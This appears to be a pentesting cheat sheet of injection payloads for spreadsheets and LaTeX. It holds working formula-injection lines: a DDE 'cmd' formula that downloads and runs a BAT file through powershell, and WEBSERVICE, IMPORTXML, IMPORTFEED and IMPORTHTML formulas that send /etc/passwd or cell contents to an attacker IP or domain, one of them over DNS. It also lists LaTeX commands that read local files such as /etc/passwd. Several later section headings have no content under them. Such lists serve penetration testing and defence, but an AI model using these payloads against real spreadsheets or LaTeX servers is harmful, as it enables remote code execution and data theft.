CSV/XLSX/Doc/Latex formula injection

XLSX/CSV - Formula injction

Formula

Description

=cmd|' /C calc'!xxx

Launch calc.exe

=HYPERLINK("https://www.google.com/","here")

Link to https://www.google.com/

=cmd|’/C powershell iex(wget "<server/m.bat>" -OutFile "C:/m.bat"); "C:/m.bat"’!A0

Download a BAT file and execute it

=WEBSERVICE("https://example.com/?data="&A1)

Data exfiltration of spreadsheet content

=ENCODEURL(A1)

Data exfiltration of spreadsheet content

LibreOffice Calc - Local File Inclusion (LFI)

Formula

Description

='file:///etc/passwd'#$passwd.A1

Read first line of /etc/passwd

=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))

Send read data to attacker server

=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

Exfiltrate more than one line

=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Send data via DNS queries

Google Sheets — Out-of-Band (OOB) Data Exfiltration

Formula

Description

=CONCATENATE(A2:E2)

Append strings

=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

Import structured data

=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))

Import RSS / ATOM feeds

=IMPORTHTML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

Import HTML tables or lists

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

Import data from another sheet

=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

Load remote image

LaTeX Injection

The most common solution to convert LATEX files to PDF files on servers is pdflatex.

This program uses 3 main attributes to (dis)allow command execution:

Flag

Behavior

--no-shell-escape

Disable \write18{command}

--shell-restricted

Allow only predefined commands

--shell-escape

Allow arbitrary command execution

Read File

Formula

Technique

\input{/etc/passwd}

Input file

\include{password}

Include .tex file

\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}

List file content

\verbatiminput{/etc/passwd}

Verbatim read

Read Single-Line File

Read Multi-Line File

Write File

LaTeX — Command Execution

If you get any LaTex error, consider using base64 to get the result without bad characters

Cross Site Scripting (XSS)

Last updated